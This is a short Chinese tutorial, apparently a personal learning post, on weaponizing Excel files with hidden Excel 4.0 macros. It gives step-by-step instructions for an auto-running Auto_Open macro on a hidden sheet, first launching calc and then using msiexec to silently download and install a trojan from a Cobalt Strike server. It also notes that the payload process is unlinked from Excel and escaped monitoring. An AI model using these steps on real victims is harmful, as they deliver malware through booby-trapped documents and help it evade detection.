Office宏病毒学习第一弹--恶意的Excel 4.0宏

前言

可以通过首先插入类型为“ MS Execel 4.0 Macro”的新表来对Microsoft Excel Spreadsheet进行武器化处理：

1、右击表单插入一张 4.0宏表

2、在第一个单元格和下面的单元格分别写入

=EXEC("calc.exe")

=HALT()

3、把第一个单元格名称A1改为Auto_Open  //自动执行宏，选中A1改为Auto_Open然后回车即可成功

4、右击左下宏1表单，选择隐藏

实验不上cs不是我的风格，这里通过查阅资料发现可以通过使用msiexec进行远程下载执行，那么我们就可以把上面的计算器换成我们的木马，代码如下

//http://ip/download/file.pdf 为msi包文件在cs的地址

=EXEC("msiexec /q /I http://ip/download/file.pdf")

=HALT()

通过对进程进行分析office文件后，会运行msiexec.exe pid为4500，而我们在cs给出的pid是4340，与execl进程完全无关且进程未监控到我们的木马。

关于更多有关Excel 4.0宏武器化的部署，您可以查看下面的文章。